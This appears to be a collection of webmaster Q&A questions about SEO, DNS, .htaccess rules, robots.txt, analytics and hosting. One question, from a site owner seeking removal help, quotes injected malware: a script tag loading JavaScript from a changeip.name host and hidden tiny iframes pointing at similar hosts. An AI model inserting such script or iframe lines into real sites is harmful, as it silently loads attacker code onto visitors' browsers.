title: Are there some permalink typology better than others for SEO?

text: I am pretty new in WordPress and on my blog I am using permalinks. I have seen that there are 5 topologies of permalinks and I don't know if some types are better than others for search engines for indexation. At the moment I am using this typology:               example.com/2013/04/22/articolo d'esempio/      that is composed by: the base URL of my blog, the complete date of the post and the post name. So I have the URL of posts like this:               example.com/2013/04/18/2-hello-world-in-spring-mvc/      Is this a good URL or are there some other permalink typologies that are better for search engine indexing (or for some other reasons)?


title: Should I be concerned about hAtom tags on my blog?

text: I am using a theme that automatically adds `hatom-entry`, `hatom-feed` classes on my WordPress blog. I read that such tags/classes should be used for syndicated content. Anyway, then I ran a Rich Snippet Tool, which threw a "HAtomfeed" error. So I removed a "hfeed" div tag. Now, should I be concerned? Can this cause any problems? I still have a couple of these classes (listed below), and I just hope they do not effect my site's ranking. For now, these are the tags the Rich Snippet Tool has detected:   * hatom-feed   * hatom-entry   * entry-title   * entry-content   * published   * author   * fn   * person-name   * url Edit: All the content on this weblog is unique and written by me and others. Thought I'd share that.


title: Is it possible to do shipping like this in Magento?

text: What I need is to have Magento charge a flat rate shipping for orders under a certain amount, and free shipping for orders over that amount. It's like having two flat rates. I have tried setting a flat rate and free shipping together but it just gives the option to the customer to chose between them via a radio button; which is not what I need.


title: How to remove duplicate content, which is still indexed, but not linked to anymore?

text: A bug in the tool, which we use to create search-engine-friendly URLs changed our whole URL-structure overnight, and we only noticed after Google already indexed the page. Now, we have a massive duplicate content issue, causing a harsh drop in rankings. Webmaster Tools shows over 1,000 duplicate title tags, so I don't think, Google understands what is going on.               Right URL: abc.com/price/sharp-ah-l13-12000-btu.html     Wrong URL: abc.com/item/sharp-l-series-ahl13-12000-btu.html (created by mistake)      After that, we ...   * Changed back all URLs to the "Right URLs"    * Set up a 301-redirect for all "Wrong URLs" a few days later  Now, still a massive amount of pages is in the index twice. As we do not link internally to the "Wrong URLs" anymore, I am not sure, if Google will re-crawl them very soon. What can we do to solve this issue and tell Google, that all the "Wrong URLs" now redirect to the "Right URLs"? Best, David


title: Sites bandwidth exceeded but no increase in traffic?

text: One of my clients sites has exceeded its 6000mb monthly bandwidth quota. I checked Analytics and the site has not had an unreasonable amount of visitors (only 700 in the last month). The site has no hosted videos or other large content. Would anyone know what could be causing this? ### UPDATE: OK I determined that it is pretty much a DDOS attack. Had a look at the logs on cPanel and indeed there was one IP address that was accessing 20 - 30 files (not necessarily pages) a minute. I blocked this IP address in cPanel. Checked the logs a few minutes later and saw another different IP address was doing the same thing. Did some Googling and found a service called CloudFare apparently aided in blocking them. I signed my site up to them. Has anyone had any experience or success with them?


title: Best compromise for low DNS TTL for failover, versus high TTL to reduce DNS lookup time

text: We're looking at lowering our DNS A record TTL to around 1 minute, to enable us to quickly switch to a backup server should the main one fail (whether this is automatic, using AWS Health Checks etc, or manual, is largely irrelevant to this question). I'm aware this will put a significantly higher load on the DNS server, but this isn't an issue. What I'm concerned about it how the total site load time will be increased, because of the additional overhead of having to look up the DNS records with a lot more requests. How to I balance these issues? I'm obviously disregarding factors outside my control, such as ISP DNS caching.


title: Why doesn't this web crawler obey requests to stop crawling my pages?

text: I have a hidden page that verifies internal payments from PayPal. The page has the following in its HTTP headers:               X-Robots-Tag: noindex, nofollow      But once in a while I see this in the page logs:               HOST: 208-115-111-71-reverse.wowrack.com     USER_AGENT: Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)      What is that `wowrack.com`? And how do I stop it crawling my pages?


title: SSL Certificates for a Citrix CAG - How to move from Thawte to GoDaddy

text: I have a citrix CAG which currently uses Thawte's certificate. What is the process to start using GoDaddy's SSL certificate?


title: Trying to resolve my DNS records to use mandrill

text: I've got myself confused over DNS records and need to understand what I need to do first for my situation. My domain name is hosted by one provider. The nameservers are currently pointing to the webhosts name servers (1and1) My webspace is hosted by 1and1 My email is hosted on an exchange account and the 1and1 has a configuration set to the exchange account I am in the process of moving my domain name to 123-reg (where I have other domains) so I can close the account with the domain host. I now want to configure a subdomain to handle website email through Mandrill. It appears I'm going to have problems configuring the DNS settings via 1and1. Mandrill suggests creating a subdomain to leave my main email for this domain intact. So how to I get out of this spaghetti I appear to have created. Should I use a DNS provider away from 1and1 (research suggests 1and1 are less than flexible with name server configuration), then point the records to the domain space? Or use 123-reg as a nameserver and do the settings there? What is the best practice approach? I want to make this as clean as possible Thank you


title: Minimize embedded youtube video to just listed to sound

text: Is it possible to embed a youtube video and hide video display and just show the player controls? That would be sufficient for playing songs. (I know, it would be a waste of bandwidth ;-) ...)


title: How to get browsers to only download CSS/Javascript when it changes?

text: I had an epiphany earlier when reading codinghorror. On a content website (blog/forum/website) the basic things rarely change if at all. So I was wondering if there was a way to cache them and only re-download if something changes? I guess there's two questions here:   1. Do browsers cache CSS/Javascript, if so how long, can I change how long?    2. Do I have to write a simple Javascript program that checks if the CSS/JS changed and download if necessary or is there a framework that handles it?


title: Download/submission directories are dead? Are they good for SEO?

text: We have just released a new major software product version. In the past if you wanted visibility you would create a standardized pad file and you would submit it to hundreds of directories or you used web service that would do that for you. These directories would then serve as first incoming links to your web site. How about today? I think download directories are pretty much dead? Do you think this is still good SEO approach today? Are these software download directories useless?


title: .htaccess Forward all mail subdomains to /webmail/

text: I would like to write a .htaccess rewrite command that takes any url with a subdomain mail and forwards them to whatever domain included that subdomain with /webmail at the end. e.g. mail.zane.com would forward to zane.com/webmail mail.prowebmasters.com would forward to prowebmasters.com/webmail. In short, I have a master domain with my host with addon domains in folders on the master domain. Any time I type mail.site.com it is forwarding to the index.html of the master site. Instead of doing that I want the sites to open /webmail/ of the site.


title: PHPFox caching?

text: I run a big phpfox website and I currently have server setup as follows: nginx (reverse proxy) --> Apache for dynamic content are there other ways to cache content with phpfox? I can't use memcache it's a shared environment.


title: Will google penalize my pages if I will hide by default the main page content?

text: I've read some similar questions but the mine is about a particular case. I need to hide the "main page content" as default, visible on user's request using javascript. This is lot of text - about 500-1000 words for every document. The secondary page content (schematic data, lists, images) will be visible as default. That's the solution that fits the needs of my customer. Will a site made like this be penalized? EDIT: The "main body text" is the text that should appear in search engine's results and it contains the keywords.


title: Embedding Quicktime Player behaves differently on XP/OSX/Windows7

text: We've got a page that embeds a `.MOV` file into a webpage. In the last 6 months it stopped working on some Macs. Then it stopped working on all macs. Then it stopped working on Windows XP. But it works fine in Windows 7. Here's what is embedded in the HTML:               <embed src="/Magic94Scripts/mgrqispi94.dll?APPNAME=FileManager&PRGNAME=prjfilmview&ResID=2784&size=9" style="float: left;" height="600" width="1030">      This has worked perfectly for years. The QuickTime player pulls the file out of the requester, inspects the MIME type from the response headers and plays the file appropriately. A Wireshark dump from a Windows 7 looks like this: ![Quicktime Windows 7 dump](http://goodoil.enets.com.au/QuickTime-Win7.png)   1. The intial request for the page that has the `<embed>` tag in it   2. The QuickTime plugin requesting the MOV file through the back-end requester Performing the **exact same** actions on OSX or Windows XP wields: ![Quicktime XP-OSX dump](http://goodoil.enets.com.au/QuickTime-XPOSX.png) The versions of quicktime and safari on all the different machines is the latest (5.0) and I assume this is something that was broken in an update, and as our clients moved to the newer version of the browser they were breaking one by one. Any ideas what might cause this? Is this a bug in Safari? Are there better ways of embedding the MOV file?


title: Fetching templates via API. Who provides this service?

text: I'm mainly a server side developer. I'm not a designer, even if I understand web layouts, grids, CSS, typography, valid markup, etc. and I'm able to do some graphic work too (almost). It just takes a lot of time and the result is not always beautiful. I know there are tons of website templates sites out there, and I'd like to use their designs as a starting point for my customers' works, giving them the possibility to choose the design they like more. I'd just prefer to show the templates catalog to customers from within my site, fetching templates info (screenshots, description, etc) from a remote server using an API. TemplateMonster.com provides, or provided, such API. But the service responds with "Unauthorized usage". Are there other sites offering this kind of retrieval service?


title: Question about robots.txt Google shows urls are blocked

text: I am working on this site dealsin.us and the Google webmasters tool shows that there are about 9800+ urls blocked by robots.txt. You can view the robots.txt here I have blocked some directories which are not meant for the users and our only to the staff behind the website. I am really confused and would appreciate any help on this.


title: .htaccess file ignored on Ubuntu Apache 2 server

text: I'm having a problem with an `.htaccess` file on a newly installed Ubuntu server running Apache2. The .htaccess file in the directory where the WordPress files are located isn't being take into account when the server loads pages. There isn't an `AllowOverride` statement in the apache2.conf file, but the default is `All`, and it doesn't change anything if I include one. I've tried including the contents of the local `.htaccess` file in a section. I've also tried this:               <Directory /var/www/mydomain.com/html>     AllowOverride All     </Directory>      I also tried changing all instances of `AllowOverride` in /etc/apache2/sites- available/default (which are all set to `None`by default) to `All`. But I've had no luck. Not sure how to solve this one.


title: Tracking image clicks with google analytics?

text: I'm trying to set up conversions using Google Analytics. What I want to define as a conversion is when a person clicks on certain images in my blog (product adverts). How can I do this in google analytics? I found that you can track URL clicks, but the url the image leads to is offsite. Will that still work?


title: A tool to test web fonts on a live site

text: Are there any browser/online tools to quickly test a live site with web fonts, like Google Web Fonts? So, as I see it, I visit any site, for example, microsoft.com and click something like Analyze element in Firebug and change that font to some from Google Web Fonts list. Is there anything like that on the web?


title: Question about duplicate groups (agents) in robots.txt

text: I'm looking at a corner case with robots.txt, and am curious if you have any guidance. Basically, I'm in a situation where multiple people will be making edits to the same robots.txt file. I've pointed to the Google Resource as our standard for how it should look, but we're running into a question regarding duplicate groups for the same user agent. Basically, what happens if you have a robots.txt file structured like this:               User-agent: *     Disallow: *.asd     Disallow: *.exe          User-agent: *     Disallow: /app/     Disallow: /api/      Would all crawlers interpret this as:               User-agent: *     Disallow: *.asd     Disallow: *.exe     Disallow: /app/     Disallow: /api/      Or would they pick one over the other? Google says: "Only one group of records is valid for a particular crawler.", so I'd interpret this as a crawler is going to pick either group, but not both... But have no direct experience with duplicate groups/specifying the same user agent more than once in robots.txt.


title: Having internal website search as Google search result

text: Sorry if this has been asked before. Let's assume there is a website as www.example.com and there is a private search engine with URLs simmilar to www.example.com/search/search+pattern How do I have Google display the above URLs "forwarded" for seach text entered in Google search? I mean that if one searches for example "aston martin DB7" one of the results would be www.example.com/search/aston%20martin%20DB7. I tend to see that kind of behavior every now and then and keep wondering...


title: How do I use the http://schema.org/GeoShape itemtype?

text: There are no useful examples for setting the property of this type anywhere. The GeoShape page references the rNews GeoCoordinate spec in passing and a forum post on meetup states that this spec is based on Simple GeoRSS. I have guessed that the Simple GeoRSS coordinate format is correct. Unfortunately, Google's Rich Snippet Testing Tool doesn't inspire confidence in that conclusion. This is the ideal data format for my purpose (describing a service area of 20 miles centered on the city centre) so it is really frustrating that I can't test the correctness. This is a duplicate of my question on StackOverflow.


title: URL paths and their effect on SEO

text: We are developing a website where there will be two distinct types of content: galleries and photos. It makes little sense to use URL paths like /gallery/photo as some photos can appear in more than one gallery (and duplication of content is bad); so the current logic is to have a single depth on the site (/photo1, /photo2, /photo3, /gallery1, etc). Will this impact upon SEO as the number of single depth pages increases?, is it better for Search Engines in general to see a more RESTful interface (/galleries/gallery, /photos/photo1, etc)?, or is there a better way to handle this? P.S.: The photos will have a landing page of their own with deep textual content (as will the galleries).


title: Is my mx record affected if I forward my domain?

text: My domain host (not webhost) is GoDaddy. I set up the MX record to point to Gmail. I use a free host (say `examplehost.com`) without static IP, so cannot set my A record to that `examplehost.com`. So I forwarded my domain to that `examplehost.com`, is my mx record broken? (no longer works with Gmail).


title: Effect on SEO of lazy scrolling on HTML comments

text: I am thinking about using a JS script that lazy loads HTML when scrolling ( http://ivorycity.com/blog/2011/04/19/jquery-lazy-loader-load-html-and-images- on-scroll/). I am not too sure about whether this approach is SEO friendly. As far as I know, search enginges ignore text within comments. Even worse, the site might get degraded because of so many comments. How should I handle this requirement? Are there any alternative approaches?


title: Timed redirects and SEO

text: When it comes to SEO is it ever a good idea to do a timed (countdown) redirect? For instance: I have a thank you page, but it just seems logical that you would want to redirect the user off that page after a certain amount of time. Will this harm my SEO or is it acceptable?


title: Mobile site: Should I be redirecting to a different subdomain, or just serving mobile-specific markup?

text: I'm currently putting together a mobile version of an existing site (Django- based) and there seems to be two ways of doing this. I can do one of two things:   1. Detect a mobile useragent and redirect the user from `http://www.example.com/page/awesome/` to `http://m.example.com/page/awesome/`, which serves up mobile-specific markup, CSS etc.   2. Just detect the useragent and serve up different content on the `www` subdomain depending on whether the useragent is mobile or not. To me, (2) feels cleaner, because the site's adapting content served based on the client, but without changing the URL. However, (1) seems to be a _lot_ more prevalent on various popular internet sites, and there must be some good reasoning behind it. Obviously, (1)'s easier to test, but redirection just feels messy, as well as doubling the number of URLs. What's the "right" way to do this, and what other pros/cons should I be looking at?


title: Canonical URL in blog post category post listing?

text: I have a set of categories that each list their own blog posts. I am afraid there might be a problem with duplicate content as the posts move down the pages. Should these subpages include a canonical link back to the main listing page for this tag? For example: > domain.com/category/5/ would have a canonical URL to: > domain.com/category/ Is this considered good or bad practice for SEO?


Which special characters are safe to use in url?


title: Are videos inherently good for SEO?

text: My business partner is convinced that having a video on a page is inherently good for SEO and will improve its ranking. I'm trying to find some evidence to confirm or deny this theory. My hunch is that answers to questions like this are right on the money: videos are like any other form of content. Good content will drive traffic (and therefore links, and therefore SEO), bad/irrelevant content won't. Does anybody know of any resources that have either confirmed or debunked the alleged inherent awesomeness of having a video on your page?


title: Does Google penalize .me or .tv sites?

text: If I am thinking about using one of the fancy country domains such as `.me` or `.tv` should I be worried about how Google treats such domains? Or to put it another way, if all other things are equal (good content, links etc.), will Google regard a `.tv` or `.me` as equal to a traditional `.com` or `co.uk` site?


title: Rank value of domain extensions in Google

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? Is there any definitive information on how google values different domain extensions in its ranking algorithms? My assumption, all other things being equal, is .com > .net > .org > .co etc.


title: CO.CC domains SEO disadvantages

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? There is a free domain service http://www.co.cc . We can setup DNS settings at co.cc . But is there any SEO disadvantages for CO.CC domains?


title: Do different TLDs affect your search engine ranking?

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I have two identical domain names with different suffixes `org` and `com`. I just installed POSTFIX which has auto configured itself to the `.com` domain name but I generally use the `.org` tld based domain name as the primary (even the `.com` redirects to `.org`). Which is better to use as `myhostname` and `mydomain` are there any advantages to using one over the other?


title: Does the .ending on a domain need to be relevant?

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I see a lot of people now opting to use > myname.im or > myname.me But after doing some checking, i found that `.im` domain names are meant to be Isle of Man endings. Is this correct, and does it matter that people opt to use this domain ending if they are not even based anywhere near the Isle of Man. It is Ok to use a domain ending purely for how good it sounds is what I'm really after. Or is it bad practice to do this.


title: Is it disadvantageous to use a .me domain?

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? In a scenario like the following, **should I go for the .net or the .me domain?** Assumptions:   * I have a relatively informal website about _eating_.   * eating.com is already taken. Should I go for:   1. **eating.net** (might confuse visitors because the .com is occupied by someone else / a competitor)   2. **eat.me** (because it is so catchy) I have heard (just word of mouth) that Google would give less priority to .me domains, is that true? _PS: eating/eat is just an example, but my actual sitename is (almost) as catchy._


title: SEO impact of using regional TLDs like .me

text: It is common that people use regional TLDs with a fake meaning to register a good-looking website. A famous example is `.me`, which is popularly offered by most of registrars alongside generic domains. As far as I know, search engines somehow weight the regional websites. For example, a `.ca` is supported to be targeted in Canada. I understand that search engines are adjusted to the market popularity, but I am curious, if a regional TLD such as `.me` is considered as a generic TLD when targeting globally? In general, my question is that how much `TLD` affects the SEO for global audience?


title: Does using a country domain (TLD) negatively effect a site's search ranking if the site content isn't country specific?

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I have a website in which the content is not country specific. The TLD is currently .it but the company is hosted and based in the United States. I'm wondering if a .it domain will negatively effect the site's search rankings. Is it better to use a .com TLD? For example (I don't actually own these domains), would the domain love.it have a worse ranking than loveit.com? (Assuming the content of the sites is the same) I've been searching everywhere for an answer with not much luck. Any advice would be very helpful.


title: .com vs .me for personal and blogging sites. Which one is good regarding seo

text: > **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I basically have a domain under my name with .com extension. I am planning to use it for my portfolio and also as a regular blog. Now considering SEO and ranking stuff, what is the best way to implement this. **myname.com** - _Portfolio_ || **myname.com/blog** - _Blog page_ (or) **myname.com** - _Blog_ || **myname.me** - _Portfolio_ i have absolutely no idea on how .tld's impact SEO and Ranking, so i seek the experts advice on this. Thanks in advance.


title: Can I use the same SSL cert for HTTPS and FTPS

text: I am looking to get an extended SSL certificate for a server that is handling one of my subdomains. Can I use the same certificate for `https://sub.example.com` and `ftps://sub.example.com`, assuming that that they both resolve to the same ip on the same box? Windows 2008 R2 Apache 2.2.12 w/ OpenSSL/1.0.0e FileZilla Server 0.9.39 beta


title: Will content in a default closed jQuery UI tab still be indexed?

text: I have a website that has a lot of traffic coming from alt text in images. Right now every image is fully visible on each page. But, I want info, images, and contact as jQuery UI tabs. The info would be open by default and the images would be closed. Would any content in a closed jQuery UI tab still be indexed? Would the images lose any indexing power? Thank you.


title: Should I run my own OpenID server?

text: As I understand it, OpenID relies on a single trusted service, the OpenID provider. If you run this service on your own server you then have complete control, and you only have to trust yourself (and your ability to correctly configure and run a web service). Would this be the most secure and effective way to manage your online identity?


title: Itunes Podcast Feed: Itunes says it can't verify the identity of the server

text: I have created an iTunes RSS feed for my video podcast: http://designmind.info/feeds/itunes.xml For the first few weeks, it worked fine. But lately, iTunes has started giving this error message: iTunes can’t verify the identity of the server “www.designmind.info”. The certificate for this server is invalid. You might be connecting to a server that is pretending to be “www.designmind.info”, which could put your confidential information at risk. Would you like to connect to the server anyway? How can I fix this. It is not SSL hosting, so I am not sure why it needs a certificate.


title: Strict doctypes

text: I was wondering about the consequences of building a site thats complaint with XHTML1.0 Strict. I have developed a lot of sites using the transitional doctype, and read about the consequences of a link target attribute. It can't be used and it has to be fixed with a javascript code block. I was wondering if there were any more of these 'heavy impact' occurences and if there are significant changes with day to day coding in the transitional variant... (Didnt know if it could be asked here, or that it has to be placed on stackOverflow.com because of the frontend related issue)


title: What potential issues do I need to be aware of in a multi server/clustered environment?

text: I have been working on a website with a client for some time now and the site itself has grown massively in popularity. We are now at the stage where the single machine we have hosting the site is struggling to keep up requests and we have optimised the site itself as far as we can go (caching etc). We are now at the stage where we need to add another server to take the extra strain which leads to my question - what potential pitfalls and caveats do I need to be aware of or test the site for when moving to a web farm or clustered hosting environment?


title: Apache <Directory> blocks

text: I'm trying to make it so that the outside world can't access a specific section of my website. What I did was:               <Directory /Library/WebServer/.../secrets/>          Order deny,allow          Deny from all          Allow from 10.0.1.18     </Directory>      (10.0.1.18 is my computer's internal IP) That seemed to work for the root folder, but not for subfolders. So I tried secrets/* in the directory block, but that disabled everything. Anyone could access the secrets folder. How would I make the directory block apply to subfolders?


title: Banning IPs through my htaccess doesn't work. Why?

text: The story is incredibly long. Long story short, someone is using amazonaws IPs for a bot that's clicking on my Adsense ads. I'm trying to ban all amazonaws IPs, but it doesn't work. The bigger problem is that I can't ban any ip. I tried this:                    RewriteEngine On     RewriteBase /     RewriteCond %{HTTP_REFERER} ^http://.*amazonaws\.com [OR]      RewriteCond %{REMOTE_HOST} ^.*\.compute-1\.amazonaws\.com$ [NC,OR]      RewriteCond %{REMOTE_ADDR} ^xx.xx.xxx.xxx [OR]     RewriteRule ^(.*)$ - [F]           xx.xx.xxx.xxx is an IP that I have access to and with which I can test if the htaccess works. Otherwise, I tried banning myself to see if it works. Doesn't. I also tried the classic code:               # BAN USER BY IP           order allow,deny      allow from all      deny from 1.2.3.4           Didn't work either. What am I doing wrong and why can't I ban any ip, let alone the amazonaws ones?


title: Am I harming myself by having two domains pointing at the same thing?

text: > **Possible Duplicate:**   >  SEO and multiple domains to same site I have a domain I recently purchased. I went ahead and pointed it at my website(via DNS) and by default, my server now serves my website on this new domain. Eventually, the new domain will replace my old domain(with 302 redirects and all that). However, I've not yet got my website ready for that because I'll need to do some rebranding and such. Am I actively hurting my SEO ratings and such by having these two domains point to the same thing?


title: What is good traffic for a domain of a non-existing website?

text: _For existing websites, there are already very good answershere. This question is about the ability to measure the "strength" of a domain **prior to the actual site being published._** I have several domains in which I haven't yet placed any content at all, eg they lead to a blank page or to the generic 404 of my hosting company. Non of them is listed on google or anywhere else. I do get some traffic statistics on these domains, including a count of unique visitors - people or bots who just typed in the domain name. Naturally, this kind of traffic varies between different domains - which seems to be a demonstration of the difference in these domains' "strength". for example, drive.com (which contains only an "under construction" page) gets more traffic than asdgfkljhvcas.com. **Is there any method for determining how much of this kind of traffic is a lot in an international-website scale?** This could be helpful for determining the quality of domains in hand.


title: Why don't large popular sites such as SO use keyword and description meta headers?

text: Why don't Stack Overflow, Wikipedia or MSDN etc. include keyword and description meta tags in their page headers? For example Google indexes the first paragraph as a brief description. Is this a technical point in web design and SEO?


title: Cheap stock images website (per image pricing)

text: so I like the stock images and illustrations on istockphoto.com but they're kind of expansive because you have to buy a $18,50 package if you want one image that would cost 3 to 5 dollars, and the odd currency of the site don't help making me at ease with the website... so is there any website where I can get per image pricing and a good price for it? Lots of designer in this website so someone might have found a good site I assume, not asking for a free stock images website I have a big list of those but a cheap and per item priced website where an image for web won't be over $5 (800px+) any helps is welcome, thanks!


title: adsense for lightbox

text: i have image gallery and i am using lightbox to display images but to my surprize google ads are being shown for first 4 photos after that it is now showing . i assume that google thinks that i am reloading the same page so it shows for 4 times only i may be wrong and i feel that if i give that lightbox some url address so that google can understand that all pages are seperate then i think ads will be displayed in all images against the present 4 images. if anyone think that it can be done please tell how to do this. just using php request url will solve this issue or i have to try other way .please advise


title: What are sources of free/cheap stock photos?

text: Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean? **UPDATE:** Changed the title from "free" to "free/cheap". I need an easy to use source of photos, meaning I they OWN the rights to the photos. Some stock photo websites disclaim that the have rights to the photos. Examples: SXC.hu, Bigstock (if you know of others, please comment. See comments to answers for details. Thanks!) **IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a "new" contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.


title: Complex Disallow pattern in robots.txt

text: I have a URL like this:               www.example.com/freelance-jobs-new-york      I had a problem and many duplicated pages have been created like this:               www.example.com/freelance-jobs-new-york-php-php     www.example.com/freelance-jobs-new-york-php-php-php     www.example.com/freelance-jobs-new-york-php-php-php-php      And so on, those pages have the same content as the main one, so what I did to fix it was redirecting all the pages with more than two times php keyword in the URL to the main URL. But I have did it late, so Google has to redirect maybe more than 20.000 pages that have been already crawled. So I want to setup a Disallow in robots.txt to block it for spending resources on those urls. So my question is, what pattern should I use to disallow pages with more than two times the keyword php in the URL? Will, `Disallow: /*php*php*` work as expected? I am asking this because I don't want to accidentally block good URLs.


title: Where is the data format for Google's Product search data feeds specified?

text: Where is the specification for the file format for building data feeds to populate Google's Product Search (neé Froogle)? When I follow the links from product search, it guides me through setting up a merchant account (fair enough), and then asks me to specify the filename, but it does not tell me what format that file should be in, or ask for any location information as to where to retrieve it from?


title: SEO - Does order of html carry importance - text before images preferred over opposite?

text: I have a two column layout with text to the left and a slideshow to the right. In order that I may float the text around the right column I would need to place the right column first with a right float. This means that I have all my images before the page text in my html. It seems apparent that the search engine rank of a page for keywords is determined, at least mainly, by the text content of the page. Would the described order of html hurt my ranking? I guess a bonus question would be how to float around a right column, see reddit for an example, though I think I should ask this on another stackexchange site.


title: How to remove this malware

text: Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them?               <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda-->          <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0>            <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height     =5 border=0>      Edit:   * Server is Windows 2008   * Site have some asp.net files   * Javascript and flash files are used in the site, too.


title: Firing an event on a particular page in Google Tag Manager

text: In Google Tag Manager I'd like to fire an event when a particular page is seen. This is for a completed signup page - a conversion. In Google Tag Manager I have my base UA tag fire on all pages. I then created a new UA tag "Subscriptions" to track events: track type events. I then filled in my category, action and label values for the event. However, it's the rules that seem to be tricky. When I went through the signup process in order to see the conversion page, here is all the info from Google Analytics debug in the JavaScript console:               Account ID               : UA-xxxxxx-2     Page Title               : Example Company | Your Account has been created | Premium     Host Name                : secure.example.com               Page                     : /secure/common/callback?`          https://secure.example.com/secure/common/callback?id=2c92a0fb41ee0b8c0142062c06fd6c89&tenantId=3415&timestamp=1390480077277&token=WByfk6aU4JX1EJSchx4XDMnp50XX8aL7&responseSignature=OTg2OWY4MTcwMDVmZmRiYzI3NWI2N2IxOWJmNTYxNGI=&success=true&refId=2c92a0fb43bdc33a0143bf122e6d3ebb&field_passthrough1=:Unmyname@gmail.com:Emmyname@gmail.com&field_passthrough2=P&field_passthrough5=%3Alnen%3ANmmeFirstNAme%20meLastName%3AA1123%20mainst%20Avenue%3AA2%3ACtPhiladelphia%3AStON%3APcM6G%202T8%3ACn&field_passthrough3=3a5e49b5-85ed-4c86-99af-761004f7db06&field_passthrough4=true&signature=OWM1NjY5MGZkMWVjNjI5NjJiYjk3MmVhOWU3ZjkzNjA=      I'd like to fire the "Subscriptions" event track tag. I tried the following rule but had no success: `{{url}}` contains: `/secure/common/callback?`.   `{{url path}}` contains: `/secure/common/callback?`. My questions therefore are:   1. How would I fire the submissions event when this page is visited?   2. Why is the event not firing now - isn't the logic sound? If the URL contains `/secure/common/callback?` then it should fire, right? ![enter image description here](http://i.stack.imgur.com/ajfkl.png)


title: One million redirects

text: What's the best way to redirect 1,000,000 unique URLs to another 1,000,000 unique URLs? These pages are all combinations of multiple search filters and queries. We're migrating the site to cleaner URLs and want to map old pages to new ones so that we do not lose visitors or send them to 404s. I believe a million line _.htaccess_ will slow down the site pretty significantly. Is there a better way that would maintain PageRank but not slow down the site? Maybe something I could put on each page individually?


title: Average screen ratio

text: I'm building a portfolio website that uses full screen background images slideshow that are cropped to fit using a JavaScript plugin. To give the minimum amount of cropping whats the best ratio to make the images? ie I know 13" Macbooks are around 13:7 (when taking into account about 100px for the browser bar) but does that scale up on 15", 24", or 17" displays? I know there are charts showing the most common dimensions but they just show a range of sizes and thats categorized by groups rather than actual dimensions.


title: SEO - Hidden content before main site content

text: I have a two hidden divs before my main site content, one with the login form and another with the signup form. I then have login and signup buttons within the page that use JQuery to show or hide these divs. I like the effect this setup offers, dropping down from the top of the page and pushing the rest of the content down. However, recently I have been getting serious about SEO and I am wondering if these divs have been affecting my SERP rankings. Basically, every non-logged page (everything bots see) has the same two display:none; divs at the top of the document flow. Is it bad? Should I re-engineer these forms and the way they are displayed?


title: Why does Google Analytics show false referrals?

text: Ever since Google revamped their Analytics interface I've been noticing a weird "bug" while viewing the "Real-Time" overview area. From this area I can obviously see live stats of visitors to my website but when I visit my website by opening a new tab (Chrome) and manually visit website the real time stats sometimes look like the image linked below. http://i.stack.imgur.com/mfniY.png Is there any reason why Google is saying that I was referred by Stack Overflow when I'm visiting my website from a new tab? Could this be something do to with how I installed the analytics on my site or could this be an issue with browser cookies? Have anyone else noticed this? I am mainly concerned about this because in the standard reporting area of my Analytics panel my referral stats are getting thrown off every time I visit my own website.


title: How to progressively display images on websites

text: I want to display images on my websites just like Facebook and other websites display images now - progressively i.e a complete blurred image first and then the whole sharp images loads. I am not sure about the technical term here but they seem to be pre-fetching a lossy version of images and then download the rest of data. How can I achieve this?


title: Indexing dynamic loading page

text:
Does Google index dynamic loading page? **For example** _index.html_

      _index.html after few seconds_
Hello Google, do you see me?
      Will Google index div#dynamic_message? Thanks.


title: Arguments for discouraging satellite sites?

text: I am working with a client who's read about satellite sites on a SEP book and has been building hundreds of keyword reach domains (buytoyotacorona1989cheap.com, brandnewsuvinred.com) with specific content about such domains. They all link to a main domain (CompanyName.com) where most of the information is either repeated(from other sites) or new. I told him to drop all the other domains and only focus on building good content for the main site as it is too difficult to maintain so many websites, plus they might look like link farms to Google. He told me to make a Google search for "Buy Toyota cheap " and two of his websites were listed among top 10. So it's seem to be doing _some_ good, but I get the feeling that what he is doing is wrong. What other arguments are there to discourage this practice? or is he doing the right thing? My arguments have helped him to decide go down from hundreds to close to one hundred (because cost of maintainance) but I believe he should only have one or two sites. PS: The business is not actually about cars.


title: Using photoshop actions to decide if an image needs to be rotated

text: I have Photoshop CS3 and I need to do a batch on a lot of pictures before I upload them. The pictures need to fit in an 600x800 box, yet be as big as possible within that box. Some of them are much wider than taller and others are more tall than wide. I am trying to put together a photoshop action that will rotate, resize, and fill pictures as needed to make them as big as possible while staying within the 600x800 box. The only thing I haven't gotten sorted out is how to tell photoshop to rotate the image 90 degrees if that will allow the picture to be bigger within the constraints. Any ideas?


title: Most standard / Best way to keep the same top menu among different web pages?

text: What's the standard way to keep the same menu on top among different web pages without having to duplicate it on each page (I don't mean that it doesn't reload like when using frames and only loading the bottom part; I want the menu to scroll with the page when scrolling down, like this, this, this and pretty much every single web page that exists). I found this answer but the guy can't use Php and I can. Plus, I see several people giving different suggestions, but I assume there is a standard since pretty much every single web page in the whole web have a menu on top that stays the same among multiple pages . I'm just a newbie on web design (I can program Php and Html easily but I have no idea about standards and stuff like that since I'm self- taught guy ;)). What I would normally do is to include the menu with php but I'm not sure if this is the "standard".


title: Sidebar for Navigation in Website

text: I want to have a sidebar in my website with navigation in it. I will use script like phpBB etc. but I want sidebar to be displayed on every page. So I am thinking about making a Sidebar in HTML and then using frame tag for displaying other pages/scripts. But as Frames are getting obsolute, Is there any other method to display a sidebar in everypage without using frames and without adding html coding on every page?


title: How to solve duplicate contents over different domains?

